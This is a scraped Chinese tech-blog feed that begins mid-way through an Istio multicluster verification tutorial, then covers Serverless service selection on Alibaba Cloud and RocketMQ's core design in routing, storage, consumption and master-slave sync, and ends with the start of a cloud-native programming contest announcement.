                  3.登录到命名空间 istio-system 下的 istio-pilot 容器中,运行 curl localhost:8080/v1/registration | grep helloworld -A 11 -B 2 命令,如果得到如下类似的结果就说明版本 v1 与 v2 的 helloworld 服务都已经注册到 Istio 控制平面中了:
                  image.png

                  4.验证在集群 cluster1 中的 sleep 服务是否可以正常调用本地或者远程集群的 helloworld 服务,在集群 cluster1 下执行如下命令:

                  kubectl exec -it -n app1 $SLEEP_POD sh

                  image.png

                  登录到容器中,运行 curl helloworld.app1:5000/hello。

                  如果设置正确,则在返回的调用结果中可以看到两个版本的 helloworld 服务,同时可以通过查看 sleep 容器组中的 istio-proxy 容器日志来验证访问的端点 IP 地址,返回结果如下所示:
                  image.png

                  ]]>
                  Serverless 服务选型 Fri, 02 May 2025 09:39:04 +0800

                  综述


                  近两年来,Serverless 概念在开发者中交流的越来越多,实践、服务、产品层出不穷。
                  Serverless 的主题分享呈现爆发趋势,如在云原生领域颇具影响力的 KubeCon&CloudNativeCon 会议中,关于 Serverless 的主题,2018 年有 20 个,到 2019 年增长至 35 个。
                  产品层面,从最早的 AWS Lambda,到 Azure Functions、Goolge Functions、Google CloudRun,再到国内阿里云 Serverless Kubernetes、Serverless 应用引擎、函数计算等,面向计算的 Serverless 云上基础设施越来越丰富。


                  新概念、新产品的产生不是凭空出现,它们诞生之初要解决的是当前问题。随着实践者对问题域的理解越来越清晰和深刻,会逐步迭代问题的处理方法,提供更接近问题本质的解决方案。
                  若不从问题域出发来理解解决方案,容易陷入两个极端,即「它能解决一切问题」「它太超前了,理解不了」。


                  本篇文章尝试以日常开发流程为起点,分析每个阶段面对的问题,然后组合解决方案,提炼面向 Serverless 的开发模型,并与业界提出的 Serverless 产品形态做对应,为开发者采用 Serverless 架构和服务提供参考。

                  迭代模型


                  从项目整体视角来看:


                  1



                  这个模型的目标是满足客户需求。通过 被动迭代 满足客户提出的需求,同时逐步深刻理解客户需求的本质,通过 主动迭代 和客户一起采用更好的方案或从根源解决面对的问题。
                  每次的需求反馈会加深对客户需求的理解,提供更满足需求的服务。每次的 bug 反馈会加深对处理方案的理解,提供更稳定的服务。
                  在模型启动后,日常的核心问题就集中在了 如何加速迭代


                  为了解决迭代加速的问题,需要了解有哪些制约因素,有的放矢。下述是从开发视角看到的开发模型:


                  2



                  虽然会有不同的开发语言和架构,但在每个阶段均有通用的问题,如:


                  3





                  除了要解决上述通用问题,还需要提供标准化的方案,降低开发者的学习和使用成本,缩短从想法到上线的时间。


                  若将上述过程中不同阶段花费的时间做个分析,在项目整个生命周期中会发现:

                  • 部署&运维 占用的时间和精力,会远大于 开发&测试
                  • 通用逻辑 占用的时间和精力,会接近甚至超过 业务逻辑


                  为了加速迭代,需要依次解决占用时间和精力多的部分,如图 1:


                  4

                  从左至右,通过下放不同层次的运维工作,降低「部署&运维」成本。在降低了运维工作成本后,在「通用逻辑」层面降低成本。二者结合起来,在迭代过程中更深入聚焦业务。
                  该过程也是从 Cloud Hosting 到 Cloud Native 的过程,充分享受云原生带来的技术红利。


                  由于软件设计架构和部署架构与当时环境耦合度高,面对新的理念和服务、产品,存量应用迭代过程中采用的技术需要有相应调整,即开发和部署方式需要有一定的改造。新应用的开发和部署应用新的理念时,有一定的学习和实践成本。
                  故上述过程不能一蹴而就,需要根据业务当前的痛点优先级来选择匹配的服务和产品,并根据未来的规划提前进行技术预研,在不同的阶段选择适合的服务和产品。

                  Serverless 简介


                  维基百科对于 Serverless 有较为完备的定义 [1]:

                  Serverless computing is a cloud computing execution model in which the cloud provider runs the server, and dynamically manages the allocation of machine resources. Pricing is based on the actual amount of resources consumed by an application, rather than on pre-purchased units of capacity. It can be a form of utility computing.


                  在这种计算模型下,给用户会带来如下收益:

                  Serverless computing can simplify the process of deploying code into production. Scaling, capacity planning and maintenance operations may be hidden from the developer or operator. Serverless code can be used in conjunction with code deployed in traditional styles, such as microservices. Alternatively, applications can be written to be purely serverless and use no provisioned servers at all.


                  概念本质上是对问题域的抽象,是对问题域特征的总结。通过特征来理解概念,可以避免注意力集中在文字描述而非概念的价值本身。
                  站在用户角度,我们可以抽象出 Serverless 的如下特征:

                  • 免运维 (服务器运维、容量管理、弹性伸缩等)
                  • 按资源的使用量付费


                  在一定规模的公司中,若严格区分开发和运维的角色,这种计算形态其实是已经存在的,并非全新的事物。但目前的技术趋势,是期望借助云的规模和技术红利优势,通过上云来降低业务在技术侧的成本,并通过技术红利反哺业务。故业界对于 Serverless 的讨论,注意力是集中在云上的服务和产品所体现的 Serverless 能力。

                  Serverless 开发模型


                  Martin Fowler 的这篇文章 [2] 站在架构的角度,对 Serverless 开发模型做了充分的阐述,这里做个简单的总结,核心围绕三点:

                  • Event-driven 开发模型
                  • 自动弹性伸缩
                  • OpenAPI


                  Serverless 开发采用 Event-driven 模型 [3],围绕 HTTP/HTTPS 请求、时间、消息等 Event 的生产和响应进行架构设计。在这样的模型中,Event 的生产、处理流程是核心,通过 Event 驱动整个服务流程,注意力集中在整个处理流程。对业务理解越深刻,Event 类型和业务会越匹配,技术和业务的相互促进作用会越有效。
                  Event-driven 模型,使得 服务常驻 这种理念从必选项转变为可选项,可以更好应对业务请求量的变化,如自动弹性伸缩。同时服务非常驻,可以降低所需的资源成本和维护成本,加速项目迭代。


                  通过文章 [2] 的两幅图可以更直观理解:


                  图 2
                  5

                  图 3
                  6



                  图 2 是当前常见的开发模型,Click Processor 服务是个常驻服务,响应来自用户的所有点击请求。生产环境中,通常会多实例部署,常驻 是个关键特征,日常的运维重点在确保常驻服务的稳定性方面。
                  图 3 是 Event-driven 开发模型,关注重心前移,集中在 Event 的产生和响应方面,响应服务是否常驻是个可选项。


                  Serverless 在概念上与 PaaS (Platform as a Service)、CaaS (Container as a Service) 的区别,重点是在是否将 自动弹性伸缩 作为概念诞生之初的核心特征。
                  结合 Event-driven 的开发模型,Serverless 场景中自动弹性伸缩需要对开发者透明度加深,开发者开发过程对处理能力的关注重心从静态转为动态,更好应对上线后业务请求量的不确定性。


                  在开发方面,交付时可以采用镜像,也可以采用语言层面的打包 (如 Java 中的 war/jar) ,由平台负责运行时相关的工作。还可以更进一步,采用 FaaS 的理念,依托于平台或标准化 FaaS 解决方案,只提供业务逻辑函数,由平台负责请求入口、请求调用和自动弹性伸缩等运行时事宜。
                  不论哪种交付方式,在云上均可以使用 BaaS [4] 的理念,将部分逻辑通过云平台或第三方的 OpenAPI 实现,如权限管理、中间件管理等,开发过程中注意力更加聚焦在业务层面。

                  Serverless 服务模型


                  Serverless 服务模型关注云厂商对于 Serverless 计算形态的支持,不同的服务和产品形态主要差异点主要集中在对 Serverless 特征的理解和满足程度方面:

                  • 免运维 (服务器运维、容量管理、弹性伸缩等)
                  • 按资源的使用量付费


                  在免运维维度,最基本的是免去服务器运维成本,开发者可以按量申请资源。在容量管理、弹性伸缩、流量管理、日志/监控/告警等常规的运维层面,不同的服务和产品会根据自身定位、目标客户特征等,有侧重采用适合的方式来满足。
                  在计费形态方面,云厂商一方面会根据自身定位确定收费维度,如资源、请求量等,一方面也会根据当前的技术能力确定收费的粒度。


                  通过上述分析可知,云厂商不同 Serverless 服务模型不是静态的,会伴随产品定位、目标客户特征、技术能力等持续迭代,和客户共同成长。


                  Serverless 服务模型需要满足实际需求,再回到图 1,云厂商的 Serverless 服务模型可以分为如下几类:

                  • 资源实例平台
                  • 调度平台
                  • 应用管理平台
                  • 业务逻辑管理平台


                  综合起来,即:
                  7

                  阿里云 Serverless 产品


                  国内的云服务厂商,阿里云提供的 Serverless 服务和产品形态相对完备。这里以阿里云为例进行探讨,探讨的经验可以平滑迁移到其他云服务厂商。


                  从阿里云公开的资料 [5] 可以了解到几类常见的 Serverless 产品形态:


                  8



                  上述云产品分类可以清晰和图 1 的模型对应起来,用户在进行选择时,先整理当前业务技术所处的阶段和痛点,确定对云上方案的需求,然后再根据云厂商的产品形态做对应,选择适合当前阶段的服务和云产品。


                  该对应关系重点是了解云产品定位是否可以长期满足业务需求,如:

                  • 业务技术目前所处的阶段是否有对应的 Serverless 产品形态
                  • 业务快速迭代是否会受限于云产品自身的发展
                  • 云产品的稳定如何
                  • 云产品是否可以持续为业务带来技术红利


                  同时还需要了解云产品是否可以伴随业务发展,重点是业务对技术的需求中,哪些是云产品层面由于定位带来的限制,哪些是当前云产品的技术实现带来的限制。
                  若是云产品定位带来的限制,那么就需要考虑使用和业务需求定位更匹配的云产品。若是当前技术实现的限制,那么有机会和云产品共同成长,及时给云产品反馈,使得云产品可以更好满足自身的业务需求。


                  除此之外,业务层面还需关注云厂商自身服务类型的丰富性,云厂商自身服务越丰富,规模越大,越会产生规模效应,进而给业务带来更丰富的技术红利和成本优势。


                  幸运的是,云产品通常都会有丰富的文档,也有相应的用户群,可以直面产品 PD 和研发。云产品的 PD 和研发也很期望直面用户,聆听用户的反馈和需求,和用户一起共建。


                  下面简单介绍下阿里云 Serverless 产品和用户钉钉群。


                  阿里云 ECI 产品 [6] 是 Serverless 和容器化的弹性计算服务,用户无需管理底层服务器,只需要提供打包好的镜像,即可运行容器,并仅为容器实际运行消耗的资源付费。


                  阿里云 Serverless Kubernetes (简称 ASK) 是阿里云容器服务产品 [7] 家族中的一种形态,托管 Kubernetes Master 组件,依托阿里云 ECI 产品提供 Pod 实例,用户无需运维 Kubernetes Master 和 Agent 节点即可使用 Kubernetes 调度能力,详情可参见产品文档 [8]。


                  阿里云 Serverless 应用引擎 (简称 SAE) [9] 是面向应用的 Serverless PaaS 平台,帮助 PaaS 层用户免运维 IaaS,按需使用,按量计费,实现低门槛微服务应用上云,有效解决成本及效率问题。支持 Spring Cloud、Dubbo 和 HSF 等流行的开发框架,真正实现了 Serverless 架构和微服务架构的完美融合。除了微服务应用外,用户还能通过 Docker 镜像部署任何语言的应用。


                  阿里云函数计算有两款产品,函数计算 [10] 是一个事件驱动的全托管 Serverless 计算服务,用户无需管理服务器等基础设施,只需编写代码并上传,函数计算会为用户准备好计算资源,并以弹性、可靠的方式运行用户代码。Serverless 工作流 [11] 是一个用来协调多个分布式任务执行的全托管 Serverless 云服务,致力于简化开发和运行业务流程所需要的任务协调、状态管理以及错误处理等繁琐工作,让用户聚焦业务逻辑开发。用户可以用顺序、分支、并行等方式来编排分布式任务,服务会按照设定好的顺序可靠地协调任务执行,跟踪每个任务的状态转换,并在必要时执行用户定义的重试逻辑,以确保工作流顺利完成。


                  用户钉钉群:
                  9

                  小结


                  Serverless 本质上是一个问题域,将研发流程中非业务核心却影响业务迭代的问题抽象化,并提出相应的解决方案。该概念不是突然产生的,大家或多或少已经将其理念应用到日常的工作中 ,只是伴随着云计算浪潮,云上的 Serverless 服务和产品更系统、更具有竞争力,可以基于规模优势和丰富的产品线,面对问题域持续提供更满足业务需求的服务。


                  Serverless 理念不仅在中心化的云端蓬勃发展,目前也逐步在边缘端发展,使得服务的运行更加广泛化,更好满足业务自身的客户,提供更低延时、稳定的服务。


                  本篇文章尝试从项目、开发的日常流程出发,协助读者从日常实践角度来理解 Serverless 概念,根据所处的阶段选择适合的 Serverless 服务和产品。并尝试从云产品内部的视角,传递云产品和用户共建的观念,通过不同的分工更好传递和创造价值。

                  References

                  ]]>
                  RocketMQ 核心设计理念 Fri, 02 May 2025 09:39:04 +0800 本文由阿里云钉群直播整理而来。

                  讲师介绍:
                  丁威:中通科技技术平台部资深架构师。《RocketMQ技术内幕》作者,社区直播讲师。开源爱好者,关注分布式、云计算、大数据领域。目前主要负责消息中间件与全链路压测的实施与落地。

                  本次分享将主要围绕以下四个方面展开
                  1、如何学习RocketMQ之我所见。

                  2、路由注册、发现、剔除设计模式。

                  3、消息发送高可用设计。

                  4、RocketMQ存储设计。

                  5、RocketMQ消息消费。

                  6、RocketMQ HA(主从同步)。

                  一、如何学习RocketMQ之我所见

                  image.png

                  为大家介绍自身学习RocketMQ经验,给大家学习提供了借鉴的思路。

                  首先是通读RocketMQ官方文档,特别是RocketMQ 3.x版本设计手册,从全局了解RocketMQ的设计理念,需要解决的问题等。从官方文档设计理念,大家会发现官方文档中不仅囊括了RocketMQ,还包括了MQ中间件涉及的各个方面,比如MQ通用的角色如Prodcuer消息生产者,Consumer消息消费者,Push Consumner推模式,Pull Consumner拉模式,Producer Group生产者组,Consumner Group消费者组通过这些名词介绍你就会对RocketMQ有一个整体的了解,了解RocketMQ要解决那些问题,如何订阅和发布的实现机制是什么,还有RocketMQ存储特点零拷贝原理,相信大家肯对会这些疑问产生好奇心,提出问题。通过反复阅读官方文档对RocketMQ的整体有大概的认识,同时也会给大家带来一些思考,如果让你来实现这些功能你会怎么做,如果自己不会,是不是可以带着这个问题看看RocketMQ是怎样实现的。这时大家会发现学习新东西不是非常困难。

                  其次下载RocketMQ源码不要立马查看源码,大家可以重点关注example包这是官方提供的使用示例。在阅读RocketMQ源码中,首先关注的是example官方示例,通过对官方提供示例的学习可以知晓RocketMQ的使用方式,注意事项,从而达到使用目的。但在大家学会使用之后要想驾驭RocketMQ并且能够处理工作中遇到得各种问题,分析源码是最好的方式。首先通过分析源码的过程中大家通过他的实现细节,了解工作原理方便为以后生产实际工作中在出现问题时提供解决问题的思路和方法。另一方面是RocketMQ的代码质量非常高,RocketMQ拥有高性能。为了实现高性能会涉及到很多方面,比如说RocketMQ在多线程方面的实践,在高并发编程中基于文件的设计模式,基于Nitty的网络通信等待这些在分析源码的过程中能够提升大家的工作中处理问题的能力,对我们大家自身编程能力的提升是非常有帮助的。在这里特别提示分析源码首先要有一定给分布式的基础,在大家会发现分析源码有难度时,介绍了自身如何通过六个月的时间打下坚实的基础,真正看懂源码的过程。还介绍到个人博客,大家可以通过逆序查看从而了解讲师在查看RocketMQ源码之前做了那些准备工作,比如集合,锁,Netty基础,对于学习分布式系统同学,这些基础都是需要掌握的。

                  如果大家对源码实在看不懂时又想全面的学习RocketMQ的知识体系,可以通过阅读《RocketMQ技术内幕》一书来进行学习,书中对RocketMQ的原理,设计理念,实践细节讲的非常透彻,相信对大家的学习会起到一定的帮助。

                  官方地址:http://rocketmq.apache.org/
                  讲师CSDN地址:https://me.csdn.net/prestigeding

                  二、路由注册、发现、提出设计模式

                  首先介绍了业界我们接触经常到的一些中间件的服务注册-发现的实现原理。在此这列举了Dubbo中注册-发现机制中的实时推送模式。介绍Dubbo是如何提供服务的,首先服务提供者启动时会向注册中心发送消息注册自己也就是告知注册中心自己可以提供服务了,那如何注册呢?注册中心在收到服务提供者发送的消息后会创建节点名称为的服务提供者的全路径名例如com.springboot.dubbo.demo.Demoservice文件,同时在对应节点目录产生四个节点如下图所示。

                  image.png

                  在服务提供者启动时通过事件机制,发送事件消息的方式推送给注册中心,注册中心收到消息后在对应providers目录增加一条记录保存该服务。对于服务消费者通过订阅注册中心消息知晓那些服务提供者可以提供服务从而服务被消费者远程调用。如果注册中心providers下面的节点增加或者是减少时,注册中心都会通过事件机制发送消息及时的通知到服务消费者。同时为了保证服务高可用,服务提供者每30s向注册中心发送消息告知自己的状态正常。这种模式的优点是实时性非常高,只要提供者有变动,消费者都能及时的知道,缺点就是服务注册实现较复杂,至少每个服务都需要具备消息的发布-订阅能力,而且,像zookeeper内部实现复杂,并不适用于RocketMQ,有点大财小用。

                  RocketMQ核心概念
                  1)Topic:消息主题,一级消息类型,生产者向其发送消息。

                  2)生产者:也称为消息发布者,负责生产并发送消息至主题Topic。

                  3)消费者:也称为消息订阅者,负责从主题Topic 接收并消费消息。

                  4)消息:生产者向 主题Topic 发送并最终传送给消费者的数据和(可选)属性的组合。

                  5)消息属性:生产者可以为消息定义的属性,包含 Message Key 和 Tag。

                  6)Group:一类生产者或消费者,这类生产者或消费者通常生产或消费同一类消息,且消息发布或订阅的逻辑一致。

                  7)生产者集群:用来表示发送消息应用,一个生产者集群下包含多个生产者实例,可以是多台机器,也可以是一台机器的多个进程,或者一个进程的多个生产者对象。
                  一个生产者集群可以发送多个主题Topic 消息。发送分布式事务消息时,如果生产者中途意外宕机,消息存储者Broker 会主动回调生产者集群的任意一台机器来确认事务状态。

                  8)消费者集群:用来表示消费消息应用,一个消费者集群下包含多个消费者实例,可以是多台机器,也可以是多个进程,或者是一个进程的多个消费者对象。一个消费者集群下的多个消费者以均摊方式消费消息。
                  如果设置的是广播方式,那么这个消费者集群下的每个实例都消费全量数据。

                  RocketMQ如何事件服务发现-注册-拉取模式

                  image.png

                  RocketMQ使用拉取模式实现主题Topic路由有什么缺点呢?
                  1.主题Topic路由中心(NameServer)Topic是基于最终一致性,极端情况下会出现数据不一致。

                  2.客户端无法实时感知路由信息的变化,例如某台消息存储Brocker自身进程为关闭,但停止向NameServer发送心跳包,但生产者无法立即感知该Brocker服务器的异常,会对消息发送造成一定的可用性?

                  RocketMQ并不打算解决上述问题,因为基于上述的设计,RocketMQ NameServer的实现非常简单高效,至于消息发送的高可用,则有消息发送客户端自己保证。

                  RocketMQ的设计遵循的一个设计理念:崇尚“缺陷美”,简单,高性能。

                  image.png

                  如果在知道定时拉取模式的不足时,有哪些方法方式去解决这些问题,带着这些问题去研究RocketMQ源码可以获得更大的收获,事半功倍。

                  三、消息发送高可用设计

                  问题:RocketMQ消息发送如何实现高可用?

                  答案:RocketMQ消息发送分三步首先是Topic路由寻址,其次是选择消息队列,最后是消息发送重试,Broker规避。比如存在主题Topic A有两条路由存储消息的Broker A 和存储消息的Broker B 共8个队列(Broker A q1, Broker A q2, Broker A q3,Broker A q4, Broker B q1, Broker B q2, Broker B q3,Broker B q4)。在RocketMQ客户端向RocketMQ集群发送消息的时候,首先要选择队列对于多个队列的选择系统默认使用轮询机制。比如发送第一条消息时如果选择Broker A收到了消息,那么发送第二条消息则会选择Broker B,发送第三条消息重新开始一轮选择Broker A发送,依次不断轮询发送,这也是RocketMQ默认的负载均衡机制。

                  如果RocketMQ客户端选择Broker A q1发送一条消息后,Broker A因为一些其他的原因导致Broker A不可用,RocketMQ客户端尝试进行重新发送,RocketMQ客户端第一次选择Broker A q2发送,第二次RocketMQ客户端选择Broker A q2发送,发现第一次和第二次都失败,RocketMQ客户端会重试两次,共发送三次。当Broker A故障导致不可用时,无论对Broker A重试多少次都会失败,RocketMQ客户端重试三次失败,则该消息被告知发送失败。RocketMQ采用规避机制解决次问题,首先RocketMQ客户端第一次向Broker A发送消息失败时在第二次选择Broker时会规避掉Broker A 的所有队列(Broker A q1, Broker A q2, Broker A q3,Broker A q4),也就是说Broker A的所有队列不参加选择,也就是第二次选择会选择Broker B 上的队列,这样可以保证第一次消息发送失败后,第二次可以成功发送消息,从而实现高可用。RocketMQ为了保证高可用提供了另外一种机制设置一个时间在RocketMQ客户端第一次向Broker A发送消息失败后在设定时间内RocketMQ客户端不再向不可用的Broker A发送消息,进一步保证高可用。

                  建议大家看发送消息的源码可用重点关注上面提到的高可用的机制,进一步探寻RocketMQ高可用的设计思想重试加规避。

                  image.png

                  四、RocketMQ存储设计设计

                  RocketMQ的存储设计是RocketMQ的最重要的部分,采取了一种数据与索引分离的存储方法。有效降低文件资源、IO资源,内存资源的损耗。即便是阿里这种海量数据,高并发场景也能够有效降低端到端延迟,并具备较强的横向扩展能力。作为一款高性能的MQ要具有一下特点。

                  1.吞度量Tps很高,能够支持高并发。

                  2.响应延时要很短。

                  3.支持海量消息的堆积能力。

                  以上特点离不开RocketMQ存储机制。

                  首先介绍RocketMQ存储设计整体组织方式

                  image.png

                  其次是RocketMQ存储设计之CommitLog文件,CommitLog是消息存储文件,所有主题Topic消息到达Broker后按顺序存储在CommitLog文件中的。每个CommitLog文件默认大小为1GB,固定文件大小方便内存映射 。通过对RocketMQ源码分析,学习RocketMQ如何完成内存映射的实现方式给大家一些借鉴的思想。RocketMQ对CommitLog这样的定长文件理解为一个逻辑的物理文件,巧妙的构造了文件名,比如第一文件名是00000000000000000000是以物理磁盘上文件的偏移量为文件名,对于第二个文件名0000000000010733741824就是以第一文件的偏移量作为文件名的。RocketMQ对CommitLog这样设计的优点能够快速定位到一条消息到达Brocker后落在那个文件中,拥有很高检索的效率。

                  image.png

                  对于一条按顺序写入CommitLog文件的消息,虽然极大的提高了文件的写入性能,但对于消息读取消息就会很慢,为了解决读取速度慢的问题RocketMQ引入ConsumeQueue文件类似于kaffka的队列文件称为消息消费队列文件。ConsumeQueue文件是对于CommitLog文件的基于Topic的索引文件,主要用于消费者根据Topic消息消费时,其组织方式为/topic/queue,同一队列存在多个文件,ConsumeQueue设计及其巧妙,每个条目使用固定长度(8字节CommitLog物理偏移量,4字节消息长度,8字节tag的 hashCode),这里不是存储tag的原始字符串,而是存储hashCode,目的就是确保每个条目的长度固定,可以使用访问类似数组下标的方式快速定位条目,极大的提高CommitLog的读取性能,试想一下,消息消费者根据Topic,消息消费进度(ConsumeQueue逻辑偏移量),即第几个ConsumeQueue条目,这样根据消费进度去访问消息的方法为使用逻辑偏移量logicOffset*20即可找到条目的起始偏移量(ConsumeQueue文件中的偏移量),然后读取该偏移量后20个字节即得到了一个条目,无需遍历整个ConsumeQueue文件。

                  image.png

                  相信大家在探究源码的过程中深刻理解上面的设计理念
                  然后是RocketMQ基于文件的Hash索引。类比mysql的Hash索引方式,基于文件的HashMap方式。提供了通过消息属性检索消息的机制,使用定长的方式,可以像使用数组一样去方便的检索。比如想要把一个订单编号的数据,首先要把订单编号的HashCode放在,通过HashCode在500W个Hash槽中取出一个,再去判断取出的hash槽中有没有消息,如果hash槽位为-1则有数据,
                  37:24IndexFile文件基于物理磁盘文件按实现Hash索引。其文件有40字节的文件,500W个Hash槽组成。每个hash槽为4个字节,最后由2000W的Index条目组成,每个条目由20个字节构成,分别为4字节索引key的HashCode、8字节消息物理偏移量、4字节时间戳、4字节的前一个Index条目(Hash冲突的链表结构)。

                  image.png

                  1、 内存映射。

                  2 、基于文件定长设计,应用数组的结构,方便检索。

                  3 基于HashCode的设计。

                  五、RocketMQ消息消费设计

                  首先介绍RocketMQ消息消费概要。消息消费通常需要考虑消息队列负载、消费模式、拉去机制、消息过滤、消息消费(处理消息)、消费进度反馈、消息消费限流等方面。

                  1.消息队列负载模式:RocketMQ集群内(同一消费组内)的消费者共同承担主题Topic下所有消息的消费,即一条消息只能被集群中一个消费者消费。

                  RocketMQ的队列负载原则是一个消费者可以共同承担同一主题下的多个消息消费队列,但同一个消息消费队列同一时间只允许被分配给一个消费者。

                  2.消息消费模式:RocketMQ执行集群消费和广播消费两种模式。

                  3.消息拉取模式:RocketMQ消息拉取支持推、拉两种模式,其本质为拉模式。

                  4.消息消费:RocketMQ支持顺寻消息、并发消息两种模式,每个消费组使用独立的线程池来处理拉取到的消息。

                  5.RocketMQ的消息消费端的限流主要包含两个维度:

                  1)消息堆积数量

                     如果消息消费处理队列中的消息条数超过1000条会出发消费端的流控,其具体做法是放弃本次拉取动作,并且延迟50ms后将放入该拉取任务放入到pullRequestQueue中,每1000条流控会打印一次消费端流控日志。
                  

                  2)消息堆积大小
                  如果处理队列中堆积的消息总内存大小超过100M,同样触发一次流控。

                  image.png

                  并发消息拉取与消费流程
                  首先一个消费客户端有两个线程(PullMessageService线程和RebalanceService线程)工作,PullMessageService线程负责拉取消息,从阻塞队列pullRequestQueue中通过take的方式获取一条拉取消息的任务,如果队列pullRequestQueue为空时,则PullMessageService线程阻塞。怎么唤醒队列,则需要RebalanceService线程每20s进行一次队列重新负载,获取主题Topic的所有消息队列与当前订阅该主题的所有消费者按照队列负载算法分配队列

                  并发消息拉取与消费的几个核心要点:

                  1.PullMessageService线程与RebalanceService线程的交互。

                  2.每个消费组一个一个线程池,用来异步处理消息。

                  3.消息进度反馈。

                  RocketMQ消息消费-消费进度反馈机制
                  拉取流程:

                  1.PullMessageService从Brocker服务器拉取一批消息,默认32条。

                  2.先存储到本地处理队列ProcessQueue。

                  3.提交到消费组线程池,异步执行。

                  4.提交到线程池后,继续在从Brocker服务器拉取下一批消息。

                  思考:由于是并发消息,例如thread-1线程在消费消息msg1,thread-2线程在消费消息msg2,thread-3线程在消费消息msg3,此时如果thread-3线程先消费完消息msg3,但thread-1线程,thread-2线程还没处理完消息msg1,消息msg2,那thread-1线程是如何向消息存储者Brocker反馈消息msg3的偏移量?

                  在这里提示重复消费的问题是由业务方处理。

                  RocketMQ主从同步
                  RocketMQ的主从同步主要是为了读写分离并不提供主从服务切换功能,当主节点服务宕机后,RocketMQ只提供读取服务不提供写入服务。

                  实现步骤

                  1.首先启动Master服务并在指定端口进行监听。

                  2.客户端启动,主动连接Master服务,连接TCP连接。

                  3.客户端每5s(纠正不是5s只要有消息就会拉取,读不到消息时休眠5s再次拉取消息)的间隔时间向服务端拉取消息,如果第一次拉取的话,先获取本地commitLog文件中最大的偏移量,以该偏移量向服务端拉取数据。

                  4.服务端解析请求,并返回一批数据给客户端。

                  5.客户端收到一批数据后,将消息写入本地。
                  commitLog文件中,然后向Master服务汇报拉取进度,并更新下一次待拉取偏移量。

                  6.然后重复第三步。

                  问题1:主,从服务器都在运行中,消息消费者是从主节点拉取消息还是从从节点拉取?

                  答:默认情况下,RocketMQ消息消费者从主服务器拉取,当主服务器积压的消息超过物理内存的40%,则建议从从服务器拉取,但如果slaveReadEnable为false,表示从服务器不可读,从服务器也不会接管消息拉取。

                  问题2:当消息消费者向从服务器拉取消息后,会一直从从服务器拉取?

                  答:不是的,分如下情况:

                  1.如果从服务器的slaveReadEnable设置为false,则下次拉取,从主服务器拉取。

                  2.如果从服务器允许读取并且从服务器积压的消息为超过其物理内存的30%,下次拉取使用的Brocker为订阅组的Brocker指定的Brocker服务器,改制默认为0,代表为主服务器。

                  3.如果从服务器允许读取并且从服务器积压的消息超过了其物理内存的30%,下次拉取使用的Brocker为订阅组的whichBrockerWhenConsumeSlowly指定的Brocker服务器,该值默认为1,代表从服务器。

                  问题3:主从服务消息消费进度是如何同步的?

                  答:消息消费进度的同步是单向的,从服务器开启一个定时任务,定时从主服务器同步消息消费进度;无论消息消费者是从主服务器拉取的消息还是从从服务器拉取的消息,在向Broker反馈消息消费进度时,优先向主服务器汇报;消息消费者向主服务器拉取消息时,如果消息消费者内存中存在消息消费进度时,主服务器会尝试更新消息消费进度。

                  如果主服务器宕机后恢复后,消息消费者是否会重复消费?

                  当主服务器宕机恢复后,从服务器在同步消费进度时同步到的消息消费进度还是主服务器宕机前的进度,从而造成重复消费。只要消息消费者不重启的情况下,消息消费进度还是实时的。还是之前的,如果在此期间消息消费者重启了,那么重复消费就无法避免。在RocketMQ使用过程中很多地方会引发重复消费
                  大家可以通过以上讲述内容为切入点更深入的了解RocketMQ。

                  直播答疑

                  问题1:如果发送的是顺序消息,Brocker挂了,怎么做规避策略?还是说就是无法发送?

                  丁慧:顺序消息指的是消息消费方式两种(顺序消费和并发消费)RocketMQ能够保证进入消费者的消息按顺序消费,并不是消息发送者。例如订单场景下,我们会使用订单编号作为key,RocketMQ能够保证同一个单号的所有消息发送到同一个队列。如果Brocker宕机后队列数量会减少,消息会重新发送就无法保证发送的顺序性。如果要保证发送的顺序性,可以使用一个Topic一个队列,这样会牺牲你的高可用性。RocketMQ顺序消息指的是消费的顺序性,而不是发送的顺序性。

                  问题2:那些场景会用到MQ?

                  丁威: MQ的使用场景1对流量进行削锋填谷操作,使用他的消息堆积能力。例如双十一期间,订单量Tps是平时的几倍或者几十倍,如果通过服务来处理,无法抵挡订单洪峰,可以使用MQ进行降为打击,比如你的订单到达系统后先将订单放入MQ中,然后消费者的数量是有限的,可以平稳的通过异步的方式处理订单,保证系统高可用,不会造成你的服务在关键时刻宕机。使用MQ作为大量消息的挡箭牌,抵挡订单洪峰。2解耦系统模块,降低系统复杂性。比如当用户登陆后,要送优惠券、送积分时,就可以在用户登录后发送消息到MQ,你的优惠券系统,积分系统等都可以订阅MQ接到消息后再去派发优惠券或是积分等其他业务。

                  问题3:业务端如何解决重复消费的问题?

                  开发者:可以借助key+redis去重。

                  ]]>
                  官宣 | 首届云原生编程挑战赛报名通道正式开启 Fri, 02 May 2025 09:39:04 +0800 “云原生编程挑战赛”是“中间件性能挑战赛”的全新升级!自 2015 年开始,大赛已经成功举办了五届,共吸引超过 12000 支队伍,15000 名顶尖选手参加,覆盖 10 余个国家和地区。

                  往届大赛毕业生是这样说的:视频点击这里

                  经历了跌宕起伏的比赛过程,感悟到冠军不是最重要的,重要的是参与了这场提升自己的赛事,攻克了自己的懈怠,结识了优秀的技术同胞。
                  --北京字节跳动网络技术有限公司--吴得瑀/微软中国有限公司--黎强/北京大学在读博士--张博洋

                  比赛带我们的不仅仅是荣誉,对生活和工作都会产生影响,这些影响可能是生活上更积极,工作上更注重个人技术能力提升。
                  --原中央军委后勤保障部信息中心--刘兰峥/深圳市烟草专卖--陆华俊

                  赛题本身的吸引力激发了我们参加比赛的欲望,通过参加比赛,让我们更相信,只要用心去做自己所热爱的事情,纵使是平凡的人也会做出伟大的事情。
                  --成都钛数智能科技有限公司--吴小刚/贵阳货车帮科技有限公司--陈林江/成都国美大数据科技有限公司--叶琦

                  中间件挑战赛的赛题场景性强,更具有挑战性。比赛过程中有分歧,有争议,最终克服困难,共同冲到了终点。
                  --成都电子科技大学,(在校生)程智凌&彭禹豪

                  作为尚未毕业的大学生,赛题对我们来说难度较高,有过想放弃的想法,但还是坚持到了最后,这份经历对我们来说是宝贵的,将让我们更加坚定以后的职业选择。
                  --广东工业大学,(在校生)古崟佑&郑妍

                  背景

                  中间件性能挑战赛被历届选手称为“中间件技术的风向标”,云原生编程挑战赛作为中间件性能挑战赛的全新升级版赛事,将继续把最新潮、最热门的云原生技术通过赛事传播给更多的开发者。

                  首届云原生编程挑战赛围绕“挑战 Serverless 极致弹性”展开,涉及 Service Mesh、Kubernetes、Serverless 等云原生热门技术领域。

